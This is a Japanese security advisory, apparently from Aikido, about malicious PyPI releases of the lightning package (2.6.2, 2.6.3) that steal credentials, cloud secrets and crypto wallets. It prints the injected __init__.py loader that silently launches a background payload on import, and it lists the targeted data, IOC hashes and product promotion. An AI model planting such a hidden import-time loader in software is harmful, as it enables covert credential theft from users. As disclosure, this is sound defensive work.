「Mini Shai-Hulud」のサプライチェーン・キャンペーンがPyPIにも波及しています。バージョン 2.6.2 そして 2.6.3 人気の 稲妻 PyTorchモデルのトレーニングに広く利用されているPythonパッケージに、開発者の認証情報、クラウドシークレット、および暗号資産ウォレットの情報を密かに盗み出す悪意のあるコードが含まれている。
これは、同じキャンペーンにおける最近の2件の攻撃――Bitwarden CLIのnpm侵害とSAPのnpm侵害――に続くものです。同じ攻撃者、同じワームが、今度はnpmからPyPIへと活動を拡大しています。
もしあなたが lightning==2.6.2 または lightning==2.6.3、お使いの端末はすでに侵害されているものとして扱ってください。
仕組み
この攻撃は直接 __init__.py、パッケージをインポートした瞬間に実行されるファイルです。正規のLightningコードが読み込まれる前に、バックグラウンドスレッドが生成されます:
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()実行する start.py、OSとアーキテクチャを検出し、Bun JavaScriptランタイムv1.3.13をダウンロードして実行する、クロスプラットフォーム対応のBunブートストラッパーです router_runtime.js、メインの11MBのペイロード。これは、最近のBitwardenやSAPへの攻撃でも使われたのと同じ手口だ。
何が奪われるのか
SSHキー、シェル履歴(bash、zsh、Python、Node、MySQL、psql)、 .env ファイル、Gitの認証情報、AWS/GCP/Azureの認証情報、KubernetesおよびHelmの設定、Dockerの認証情報、npmトークン、MCPの設定。ビットコイン、ライトコイン、モネロ、ドージコイン、ダッシュ、Exodus、Atomic、Ledgerなどの仮想通貨ウォレット。NordVPN、ProtonVPN、CyberGhost、Windscribe、OpenVPNのVPN認証情報。DiscordおよびSlackのセッションデータ。
盗まれたデータはすべて、公開GitHubリポジトリへ流出される前にRSA-2048で暗号化されています:

方法 Aikido これを検知する
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。
まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
チーム全体をより広くカバーするには、 Aikidoの「エンドポイント保護」は、チームのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。
将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。
IOCs
- パッケージ:
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

